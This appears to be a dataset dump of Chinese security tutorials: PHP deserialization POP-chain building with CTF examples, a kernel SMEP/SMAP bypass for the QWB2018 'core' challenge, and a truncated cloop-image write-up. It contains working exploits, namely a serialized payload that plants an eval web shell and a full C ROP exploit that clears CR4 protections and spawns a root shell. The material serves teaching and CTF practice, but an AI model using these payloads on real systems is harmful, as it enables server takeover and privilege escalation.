text
stringlengths
100
9.93M
category
stringclasses
11 values
# POP --- **相关文章 & Source & Reference** - [PHP对象注入之pop链构造](https://www.mi1k7ea.com/2019/05/04/PHP%E5%AF%B9%E8%B1%A1%E6%B3%A8%E5%85%A5%E4%B9%8Bpop%E9%93%BE%E6%9E%84%E9%80%A0/) - [萌新入门pop链](https://bkfish.gitee.io/2020/01/04/pop%E9%93%BE/) --- ## 什么是 POP 面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。 ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。 二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。 **案例** 一般的序列化攻击都在 PHP 魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造 POP 链寻找相同的函数名将类的属性和敏感函数的属性联系起来。因为 PHP 反序列化可以控制类属性,无论是 private 还是 public。 test.php ```php <?php class test { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello"; } } class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['d']); ``` test 这个类本来是调用 normal 类的,而 normal 类中含有 `action()` 方法用于显示字符串,但是现在 `action()` 方法在 evil 类里面也有,所以可以构造 pop 链,调用 evil 类中的 `action()` 方法。 crack.php ```php <?php class test { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data="phpinfo();"; } $a=new test(); echo urlencode(serialize($a)); ?> ``` ``` O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D ``` --- ## 魔术方法 php常见的魔术方法: * __construct() 当一个对象创建时被调用 * __destruct() 当一个对象销毁前被调用 * __sleep() 使用serialize时触发 * __wakeup() 将在反序列化之后立即被调用,使用unserialize时触发 * __toString() 当一个对象被当做字符串使用时被调用 * __get() 用于从不可访问的属性读取数据 * __set() 用于将数据写入不可访问的属性 * __isset() //在不可访问的属性上调用isset()或empty()触发 * __unset() //在不可访问的属性上使用unset()时触发 * __invoke() 调用函数的方式调用一个对象时的回应方法 * __call() 在对象上下文中调用不可访问的方法时触发 * __callStatic() 调用类不存在的静态方式方法时执行。 ### __call() PHP5 的对象新增了一个专用方法 `__call()`,这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,`__call` 方法将会被自动调用。 ```php <?php class AAAA { private function a() { echo "a"; } public function __call($name,$arguments) { echo "调用不存在的方法名是:".$name.'<br>参数是:'; print_r($arguments); echo '<br>'; } } $ins=new AAAA; $ins->b([1,2,3]); ?> ``` 输出 ``` 调用不存在的方法名是:b 参数是:Array ( [0] => Array ( [0] => 1 [1] => 2 [2] => 3 ) ) ``` ### __invoke() 当尝试以调用函数的方式调用一个对象时,`__invoke()` 方法会被自动调用。本特性只在 PHP 5.3.0 及以上版本有效 ```php <?php class CallableClass { function __invoke($x) { var_dump($x); } } $obj = new CallableClass; $obj(5); var_dump(is_callable($obj)); ?> ``` 输出 ``` int(5) bool(true) ``` ### __toString() `__toString()` 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 `E_RECOVERABLE_ERROR` 级别的致命错误。 ```php <?php // Declare a simple class class TestClass { public $foo; public function __construct($foo) { $this->foo = $foo; } public function __toString() { return $this->foo; } } $class = new TestClass('Hello'); echo $class; ?> //输出 Hello ``` 需要指出的是在 PHP 5.2.0 之前,`__toString()` 方法只有在直接使用于 echo 或 print 时才能生效。PHP 5.2.0 之后,则可以在任何字符串环境生效(例如通过 `printf()`,使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。自 PHP 5.2.0 起,如果将一个未定义 `__toString()` 方法的对象转换为字符串,会产生 E_RECOVERABLE_ERROR 级别的错误。 ### __wakeup() `__wakeup()` 是在反序列化操作中起作用的魔术方法,当 unserialize 的时候,会检查时候存在 `__wakeup()` 函数,如果存在的话,会优先调用 `__wakeup()` 函数。 ```php <?php class xctf{ public $flag = '111'; public function __wakeup(){ print("this is __wakeup()"); } } $test = new xctf(); $t = serialize($test); unserialize($t); ?> //输出this is __wakeup() ``` #### CVE-2016-7124 (wakeup失效) 如果存在 `__wakeup` 方法,调用 `unserilize()` 方法前则先调用 `__wakeup()` 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 `__wakeup()` 的执行 `__wakeup()` 函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么 i 就调用 `__wakeup()` 函数,如果该数字大于真实属性个数,就会绕过 `__wakeup()` 函数。 漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10 ```php <?php class test{ public $name = 'edd1e'; public function __destruct() { echo 'i am __destruct()</br>'; } public function __wakeup() { echo 'i am __wakeup()</br>'; } } //$a = new test(); //echo serialize($a); // O:4:"test":1:{s:4:"name";s:5:"edd1e";} $s = 'O:4:"test":1:{s:4:"name";s:5:"edd1e";}'; unserialize($s); ?> ``` 当反序列化字符串正常时 输出: ``` i am __wakeup() i am __destruct() ``` 当对象属性个数的值大于真实的属性个数时 ``` $s = 'O:4:"test":2:{s:4:"name";s:5:"edd1e";}'; ``` 并没有执行 `__wakeup()` 方法 `__wakeup()` 失效 tips:字符串中 O:4 与 O:+4 效果相同 可以进行绕过 ### __construct(),__destruct() 同c++的构造函数和析构函数 ### __clone() 克隆对象时被调用。如:$t=new Test(),$t1=clone $t; ### __sleep() `serialize()` 函数会检查类中是否存在一个魔术方法 `__sleep()` 。如果存在,则该方法会优先被调用,然后才执行序列化操作。 --- ## 例题0 ```php <?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class CallFunc { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class InvokeFunc { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class ToStringFunc { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."flag{test}"; } } $a = $_GET['string']; unserialize($a); ?> ``` 首先要利用 class GetFlag 中的 get_flag, 所以我们只要有一个 ToStringFunc 类的实例当字符串来使用 InvokeFunc 中使用了字符串拼接可以利用,所以我们只要有一个 InvokeFunc 类的实例,并且 str1 要是 ToStringFunc ,并且这个类要当函数使用 CallFunc 中刚好有一个 `$s1()`; 函数调用,所以我们只要有一个 CallFunc 类的实例,并且 mod1 要是 InvokeFunc,并且要调用一次不存在的函数 Call 中刚好有一个 test2 函数调用,并且不存在,所以我们只要一个 Call 的类的实例,并且 mod1 要是 CallFunc 最后需要一个自动函数调用的方法,刚好 start_gg 有一个析构函数,所以我们只要一个 startgg 类的实例,并且 mod1 要是 call 注意 : protected $ClassObj = new evil(); 是不行的,还是通过 `__construct` 来实例化。 在序列化之前只调用 `__construct` 函数,并且序列化将对象转换成字符串,仅保留对象里的成员变量,不保留函数方法。 所以构造的时候只要记录我们需要的属性+构造函数即可 ```php <?php class GetFlag { public function get_flag() { echo "flag:"."flag{Test}"; } } class ToStringFunc { public $str1; public function __construct() { $this->str1=new GetFlag(); } } class InvokeFunc { public $mod1; public function __construct() { $this->mod1= new ToStringFunc(); } } class CallFunc { public $mod1; public function __construct() { $this->mod1=new InvokeFunc(); } } class Call { public $mod1; public function __construct() { $this->mod1=new CallFunc(); } } class start_gg { public $mod1; public function __construct() { $this->mod1=new Call(); } } $b = new start_gg; //构造start_gg类对象$b echo urlencode(serialize($b)); ?> ``` ``` O%3A8%3A%22start_gg%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22Call%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A8%3A%22CallFunc%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A10%3A%22InvokeFunc%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A12%3A%22ToStringFunc%22%3A1%3A%7Bs%3A4%3A%22str1%22%3BO%3A7%3A%22GetFlag%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D ``` --- ## 例题1 ```php <?php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } }; class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } }; class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); //TODO: Modify the address here, and delete this TODO. file_put_contents("E:\\www\\pop\\" . $this->filename, $txt, FILE_APPEND); } }; class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); } }; class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); } function __toString() { return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group; } function log() { $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n"); } function get_name() { return $this->name; } } class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } function __toString() { return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n"; } function __destruct() { $this->song->log(); } function shortForm() { return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>"; } function name_is($name) { return $this->song->get_name() === $name; } }; class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } } }; class Porter { static function exportData($lyrics) { return base64_encode(serialize($lyrics)); } static function importData($lyrics) { return serialize(base64_decode($lyrics)); } }; class Conn { protected $conn; function __construct($dbuser, $dbpass, $db) { $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db); } function getLyrics($lyrics) { $r = array(); foreach ($lyrics as $lyric) { $s = intval($lyric); $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s"); while (($row = $result->fetch_row()) != NULL) { $r []= unserialize(base64_decode($row[0])); } } return $r; } function addLyrics($lyrics) { $ids = array(); foreach ($lyrics as $lyric) { $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")"); $res = $this->conn->query("SELECT MAX(id) FROM lyrics"); $id= $res->fetch_row(); $ids[]= intval($id[0]); } echo var_dump($ids); return $ids; } function __destruct() { $this->conn->close(); $this->conn = NULL; } }; if (isset($_GET['cmd'])) { unserialize($_GET['cmd']); }else{ highlight_file(__FILE__); } ?> ``` 第一步查找哪些类方法的 `unserialize()` 函数可控,发现定义的类方法中有 3 处存在调用 `unserialize()` 函数 User 2 处,Conn 1处 先看 Conn ```php function getLyrics($lyrics) { $r = array(); foreach ($lyrics as $lyric) { $s = intval($lyric); $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s"); while (($row = $result->fetch_row()) != NULL) { $r []= unserialize(base64_decode($row[0])); } } return $r; } ``` 参数在 sql 查询的结果中获取,无法直接控制,换 User ```php static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } } ``` 参数通过 cookie 传入,外部可控 第二步, 查找可利用的魔术函数有哪些. 除去构造方法 `__construct()` 后,发现有个析构函数 `__destruct()` 中调用了该类成员变量的 `log()` 方法: ```php class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } function __toString() { return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n"; } function __destruct() { $this->song->log(); } function shortForm() { return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>"; } function name_is($name) { return $this->song->get_name() === $name; } }; ``` 看到 song 变量可以通过构造方法直接赋值。 ```php class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); } function __toString() { return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group; } function log() { $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n"); } function get_name() { return $this->name; } } ``` 接下来看看哪些类含有 `log()` 方法: Logger,Song 发现 Logger 类和 Song 类中都有 `log()` 方法,看明显看出 Logger 类的 `log()` 方法疑似可利用,因为其中调用了该类 logwriter 成员变量的 `writeLog()` 方法。 ```php class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); //TODO: Modify the address here, and delete this TODO. file_put_contents("E:\\www\\pop\\" . $this->filename, $txt, FILE_APPEND); } }; ``` `writeLog()` 方法,发现只有 LogWriter_File 类中定义了,并且其功能是想指定 Web 目录路径上写文件,但是其调用了 `format()` 方法对参数进行格式化处理,`format()` 方法的定义在 LogFileFormat 类中: ```php class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } }; ``` 其中又调用了 `filter()` 方法过滤内容,然后调用 `str_replace()` 方法将换行符替换成 endl 成员变量的值。 `filter()` 方法是定义在 OutputFilter 类中,作用是使用成员变量 matchPattern 的值作为 pattern 进行正则匹配过滤: ```php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } }; ``` 看到这里,调用了 `preg_replace()`,当 PHP 版本不高于 5.5 时可以用正则的 /e 模式来执行 php 代码。 这里我们用 LogWriter_File 写 shell文件 ```php <?php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } }; class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } }; class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } }; class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } }; class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } }; $arr = array(new OutputFilter("//", "<?php @eval(\$_GET['cmd']);?>")); $obj1 = new LogFileFormat($arr, '\n'); $obj2 = new LogWriter_File("shell.php", $obj1); $obj3 = new Logger($obj2); $obj = new Lyrics("test", $obj3); echo urlencode(serialize($obj)); ?> ``` ``` O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A4%3A%22test%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A13%3A%22LogFileFormat%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22OutputFilter%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00matchPattern%22%3Bs%3A2%3A%22%2F%2F%22%3Bs%3A14%3A%22%00%2A%00replacement%22%3Bs%3A28%3A%22%3C%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A2%3A%22%5Cn%22%3B%7D%7D%7D%7D ``` --- ## 例题2 ```php <?php //flag is in flag.php error_reporting(0); class oops { protected $oop; function __construct() { $this->oop = new a(); } function __destruct() { $this->oop->action(); } } class a { function action() { echo "Hello World!"; } } class b { private $file; private $token; function action() { if ((ord($this->token)>47)&(ord($this->token)<58)) { echo "token can't be a number!"; return ; } if ($this->token==0){ if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { include($this->file); echo $flag; } }else{ echo "Oops..."; } } } class c { private $cmd; private $token; function execcmd(){ if ((ord($this->token)>47)&(ord($this->token)<58)) { echo "token can't be a number!"; return ; } if ($this->token==0){ if (!empty($this->cmd)){ system($this->cmd); } }else{ echo "Oops..."; } } } if (isset($_GET['a']) and isset($_GET['b'])) { $a=$_GET['a']; $b=$_GET['b']; if (stripos($a,'.')) { echo "You can't input '.' !"; return ; } $data = @file_get_contents($a,'r'); if ($data=="HelloWorld!" and strlen($b)>5 and eregi("666".substr($b,0,1),"6668") and substr($b,0,1)!=8){ if (isset($_GET['c'])){ echo "get c 2333......<br>"; unserialize($_GET['c']); } else { echo "cccccc......"; } } else { echo "Oh no......"; } } else { show_source(__FILE__); } ?> ``` 考验2部分,1是弱类型绕过,2是反序列化pop链构造 先看弱类型绕过 ```php if (isset($_GET['a']) and isset($_GET['b'])) { $a=$_GET['a']; $b=$_GET['b']; if (stripos($a,'.')) { echo "You can't input '.' !"; return ; } $data = @file_get_contents($a,'r'); if ($data=="HelloWorld!" and strlen($b)>5 and eregi("666".substr($b,0,1),"6668") and substr($b,0,1)!=8){ if (isset($_GET['c'])){ echo "get c 2333......<br>"; unserialize($_GET['c']); } else { echo "cccccc......"; } } else { echo "Oh no......"; } } else { show_source(__FILE__); } ``` * a 不能包含 `.`,禁止了跨目录 * 调用 file_get_contents 函数读取名为 a 的文件内容,且要等于 `HelloWorld!` * b 长度大于5,第一个字符紧接着拼接在”666”字符串后面要能正则匹配上”6668”字符串,且限定第一个字符不能为8 **a 的绕过方法** `file_get_contents()` 函数支持 php 伪协议,这里我们可以使用 php://input,然后再 POST 字符串”HelloWorld!” 即可绕过 **b 的绕过方法** 参数第一个字符不能为 8,但是缺陷在于使用正则匹配,我们这里可以使用 %00 截断作为参数 b 的起始字符,截断掉后面的字符从而实现 666 和 6668 能够匹配成功实现绕过,剩下的字符拼够 5 个字节以上即可 **构造 pop 链** c 参数进行 `unserialize()` 找魔术方法, oops 中存在 __construct 和 __destruct 分析下 oops * 成员变量 oop,在 `__construct()` 函数中初始化为 a 类的实例; * `__construct()` 函数,初始化成员变量 oop 为 a 类的实例; * `__destruct()` 函数,调用 oop 实例的 `action()` 方法; action 方法在 a和b中都存在 * a 类只有输出 Hello World 的 `action()` 方法,无漏洞点; * b 类的 `action()` 方法,含有成员变量 file 和 token,绕过 token 校验之后就过滤 file 的跨目录,然后直接输出目标文件的 flag 变量值; 能利用的只有b类,接下来还要绕过 token ```php if ((ord($this->token)>47)&(ord($this->token)<58)) { echo "token can't be a number!"; return ; } if ($this->token==0){ ``` 先判断 token 是否为数字字符,不是才会往下判断 token 的值是否为 0,为 0 则进入关键代码。但是这里判断是否为 0 的符号是 == , 存在弱类型绕过,当我们输入一个字符如 a 时,a==0 是成立的。 下面构造 pop 链 ```php <?php class oops { protected $oop; function __construct() { $this->oop = new b(); } } class b { private $file="flag.php"; private $token="a"; } $obj = new oops; echo urlencode(serialize($obj)); ```
sec-knowleage
# bypass-smep ## SMEP 为了防止 `ret2usr` 攻击,内核开发者提出了 `smep` 保护,smep 全称 `Supervisor Mode Execution Protection`,是内核的一种保护措施,作用是当 CPU 处于 `ring0` 模式时,执行 `用户空间的代码` 会触发页错误;这个保护在 arm 中被称为 `PXN`。 通过 qemu 启动内核时的选项可以判断是否开启了 smep 保护。 ```bash CISCN2017_babydriver [master●●] grep smep ./boot.sh qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep ``` 也可以通过 ```bash CISCN2017_babydriver [master●●] grep smep /proc/cpuinfo flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap intel_pt xsaveopt dtherm ida arat pln pts ...... ``` 检测该保护是否开启。 ### smep 和 CR4 寄存器 系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。 例如,当 ``` $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000 ``` 时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要 ```asm mov cr4, 0x1407e0 # 0x1407e0 = 101 0 0000 0011 1111 00000 ``` 即可关闭 smep 保护。 搜索一下从 `vmlinux` 中提取出的 gadget,很容易就能达到这个目的。 - 如何查看 CR4 寄存器的值? - gdb 无法查看 cr4 寄存器的值,可以通过 kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 `0x6f0`,即 `mov cr4, 0x6f0`。 ## 例题:强网杯2018 - core 这一次我们在启动脚本中添加上 smep 与 smap 的选项: ```sh qemu-system-x86_64 \ -m 128M \ -cpu qemu64-v1,+smep,+smap \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ ``` 之后我们重新运行之前的 ret2usr 的 exp,发现直接 kernel panic 了,这是因为我们想要执行用户空间的函数指针,触发了 SMEP 保护 那么这里我们只需要通过 ROP 来关闭 SMEP&SMAP 即可继续 ret2usr,这里笔者用与运算将 SMEP 与 SMAP 的两位给清除掉了,实际上直接给 cr4 赋值 `0x6f0` 也是可以的(通常关了以后都是这个值) 前面我们使用 swapgs 和 iret 两条指令来返回用户态,这一次我们直接使用 `swapgs_restore_regs_and_return_to_usermode` 来返回用户态 最终的 exp 如下: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define POP_RAX_RET 0xffffffff810520cf #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET 0xffffffff8106669c #define AND_RAX_RDI_RET 0xffffffff8102b45b #define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515 #define PUSHFQ_POP_RBX_RET 0xffffffff81131da4 #define IRETQ 0xffffffff813eb448 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008da size_t commit_creds = NULL, prepare_kernel_cred = NULL; void * (*prepare_kernel_cred_ptr)(void *); int (*commit_creds_ptr)(void *); size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } void getRootPrivilige(void) { (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); } void getRootShell(void) { if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); } void coreRead(int fd, char * buf) { ioctl(fd, 0x6677889B, buf); } void setOffValue(int fd, size_t off) { ioctl(fd, 0x6677889C, off); } void coreCopyFunc(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); } int main(int argc, char ** argv) { printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); saveStatus(); int fd = open("/proc/core", 2); if(fd <0) { printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n"); exit(-1); } //get the addr FILE* sym_table_fd = fopen("/tmp/kallsyms", "r"); if(sym_table_fd < 0) { printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n"); exit(-1); } char buf[0x50], type[0x10]; size_t addr; while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf)) { if(prepare_kernel_cred && commit_creds) break; if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds_ptr = commit_creds = addr; printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds); continue; } if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred_ptr = prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred); continue; } } size_t offset = commit_creds - 0xffffffff8109c8e0; // get the canary size_t canary; setOffValue(fd, 64); coreRead(fd, buf); canary = ((size_t *)buf)[0]; //construct the ropchain size_t rop_chain[0x100], i = 0; for(; i < 10;i++) rop_chain[i] = canary; rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + offset; rop_chain[i++] = *(size_t*) "arttnba3"; rop_chain[i++] = *(size_t*) "arttnba3"; rop_chain[i++] = POP_RDI_RET + offset; rop_chain[i++] = 0xffffffffffcfffff; rop_chain[i++] = AND_RAX_RDI_RET + offset; rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset; rop_chain[i++] = (size_t)getRootPrivilige; rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset; rop_chain[i++] = *(size_t*) "arttnba3"; rop_chain[i++] = *(size_t*) "arttnba3"; rop_chain[i++] = (size_t)getRootShell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800); coreCopyFunc(fd, 0xffffffffffff0000 | (0x100)); } ```
sec-knowleage
### 2018 网鼎杯第一场 clip解析 通过010 editor 可以看到文件的头部包含有 cloop 字样,搜了搜发现这是一个古老的 linux 压缩后的设备,题目中又说这个设备损坏了,所以就想办法找一个正常的。于是搜索如何压缩得到一个 cloop 文件,如下 ```shell mkisofs -r test | create_compressed_fs - 65536 > test.cloop ``` 参考https://github.com/KlausKnopper/cloop,于是压缩一个文件,然后发现源文件文件头存在问题,于是进行修复,从而考虑如何从 cloop 文件中提取文件,即使用 ``` extract_compressed_fs test.cloop now ``` 参考https://manned.org/create_compressed_fs/f2f838da。 得到一个 ext4 类型的文件,进一步想办法获取这个文件系统的内容 ```shell ➜ clip losetup -d /dev/loop0 losetup: /dev/loop0: detach failed: Permission denied ➜ clip sudo losetup -d /dev/loop0 ➜ clip sudo losetup /dev/loop0 now losetup: now: failed to set up loop device: Device or resource busy ➜ clip sudo losetup /dev/loop0 /home/iromise/ctf/2018/0820网鼎杯/misc/clip/now losetup: /home/iromise/ctf/2018/0820网鼎杯/misc/clip/now: failed to set up loop device: Device or resource busy ➜ clip losetup -f /dev/loop10 ➜ clip sudo losetup /dev/loop10 /home/iromise/ctf/2018/0820网鼎杯/misc/clip/now ➜ clip sudo mount /dev/loop10 /mnt/now ➜ clip cd /mnt/now ➜ now ls 